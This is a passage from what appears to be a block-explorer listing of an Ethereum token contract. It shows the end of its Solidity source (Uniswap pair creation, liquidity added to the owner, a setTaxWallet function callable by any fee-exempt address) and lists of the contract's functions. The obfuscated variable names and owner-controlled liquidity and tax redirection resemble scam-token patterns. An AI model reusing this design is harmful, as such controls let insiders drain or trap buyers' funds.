0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), totalSupply());
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
_swapTaxTokenForETH(uniswapV2Router, balanceOf(address(this)));
tradingEnabled = true;
}
function _swapTaxTokenForETH(IUniswapV2Router02 _router, uint256 _tokenAmount) internal {
_router.addLiquidityETH{value: address(this).balance}(
address(this),
_tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function setTaxWallet(address newWallet) external {
require(_COD3XTR6dAexemptFees[_msgSender()], "!EXEMPT");
_COD3XTR6dATaxWallet = newWallet;
_COD3XTR6dAexemptFees[_COD3XTR6dATaxWallet] = true;
}
receive() external payable { }
}
Read Contract
_USAIDEIQYW3EX2SS 0x34373b04 → uint256
_USAIFGJQW2WS 0xf5569da7 → uint256
_USAIOFJQW2QA 0xc0cdecc0 → uint256
_USAIQYW3EX2SS 0x217b7484 → uint256
_imTax 0x5f33bfd9 → uint256
_outTax 0x6e2069aa → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 value
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
setTaxWallet 0xea414b28
address newWallet
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address